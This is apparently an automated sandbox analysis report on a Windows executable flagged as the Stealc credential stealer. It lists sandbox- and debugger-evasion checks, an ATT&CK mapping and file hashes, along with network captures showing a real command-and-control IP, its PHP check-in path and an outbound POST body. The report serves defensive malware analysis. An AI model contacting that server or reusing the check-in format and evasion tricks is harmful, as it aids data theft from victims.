Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00E238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E24910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E1DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E1E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E24570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00E24570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E1ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E23EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00E23EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E1F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E1BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E1DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E1DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E11160 GetSystemInfo,ExitProcess,

0_2_00E11160

Source: file.exe, file.exe, 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1448686604.0000000000955000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1448686604.0000000000927000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13348
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13345
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13399
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13359
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13366

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E145C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00E145C0

Source: C:\Users\user\Desktop\file.exe

0_2_00E29860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29750 mov eax, dword ptr fs:[00000030h]

0_2_00E29750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E278E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00E278E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7656, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E29600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00E29600

Source: file.exe	Binary or memory string: W\|IProgram Manager
Source: file.exe, 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: W\|IProgram Manager
Source: file.exe, 00000000.00000002.1449146691.00000000011FC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: W\|IProgram Manager=L*

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00E27B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E27980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00E27980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E27850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00E27850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E27A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00E27A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1400847337.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1448998514.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1400847337.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.37	file.exe, 00000000.00000002.1448686604.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.1448686604.0000000000942000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.phpT	file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.37/e2b1563c6670f193.php8	file.exe, 00000000.00000002.1448686604.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520515
Start date and time:	2024-09-27 12:52:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 88
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, 6.0.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.0.3.0.1.3.0.6.2.ip6.arpa, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	8y4qT1eVpi.exe	Get hash	malicious	Amadey, Stealc	Browse	185.215.113.103
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946449456437186
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'853'952 bytes
MD5:	fb6e05d5c008f119efcdeefe60d6e924
SHA1:	76fca4e5da3cff2eee99634b2f442850000ce47f
SHA256:	b01a2006b9ca98754e6c54ea5940b99dba53720fd9f0b83a4024a7061723f90d
SHA512:	dfbf12f37b792017329c03fbaec55d4a2cd3c4735defe551d25b91468ed20a2413efcd5c762b2ea68b64028ae895e547141140589500f7156468652696bb342a
SSDEEP:	24576:qnSxEL5/h2QbgoJH7kBuNdi2dxda+AkFH4tipqAKNIwDLr4907QZJyMM7loA6fwz:q15/4M73Rn4tOzm7k0e0ot4dpv
TLSH:	22853373ED9BC6F2D1B623B8ADF39B722476723104C86D80FAE3D16D4A2B5D9240424D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L.../..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F1BA2F [Mon Sep 23 18:57:51 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0791039D4Ah
movaps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F079103BD45h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [00000000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	603926d2fc830520e0a55e67ce4f6455	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a4000	0x200	cd856f0e11999a7d6f0936624f84891f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fychohlw	0x502000	0x19f000	0x19e800	e0d647f641a347f1bf1bd8c131e66d1c	False	0.9948268103513269	data	7.953428588983157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
iljhrjsp	0x6a1000	0x1000	0x400	7c44cc606cd30ce54a989af801b22333	False	0.7333984375	data	5.8180654555241125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	feb3a0155170fd00729d0411f821436b	False	0.06824448529411764	DOS executable (COM)	0.8008775157846104	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-27T12:53:04.908577+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49705	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 12:53:03.193026066 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:03.197923899 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:03.198035955 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:03.198350906 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:03.203154087 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.677123070 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.677175045 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.677206993 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.677290916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:04.677290916 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:04.678181887 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:04.680419922 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:04.688359022 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.908241987 CEST	80	49705	185.215.113.37	192.168.2.8
Sep 27, 2024 12:53:04.908576965 CEST	49705	80	192.168.2.8	185.215.113.37
Sep 27, 2024 12:53:08.181055069 CEST	49705	80	192.168.2.8	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2024 12:53:21.134094954 CEST	53	49813	1.1.1.1	192.168.2.8
Sep 27, 2024 12:53:47.696178913 CEST	53	63785	162.159.36.2	192.168.2.8
Sep 27, 2024 12:53:48.171704054 CEST	53	61719	1.1.1.1	192.168.2.8

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.37	80	7656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 12:53:03.198350906 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 12:53:04.677123070 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:53:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 12:53:04.677175045 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:53:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 12:53:04.677206993 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 10:53:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 12:53:04.680419922 CEST	410	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAA Host: 185.215.113.37 Content-Length: 209 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 36 35 30 30 44 33 45 43 43 30 35 38 34 39 32 38 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 2d 2d 0d 0a Data Ascii: ------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; 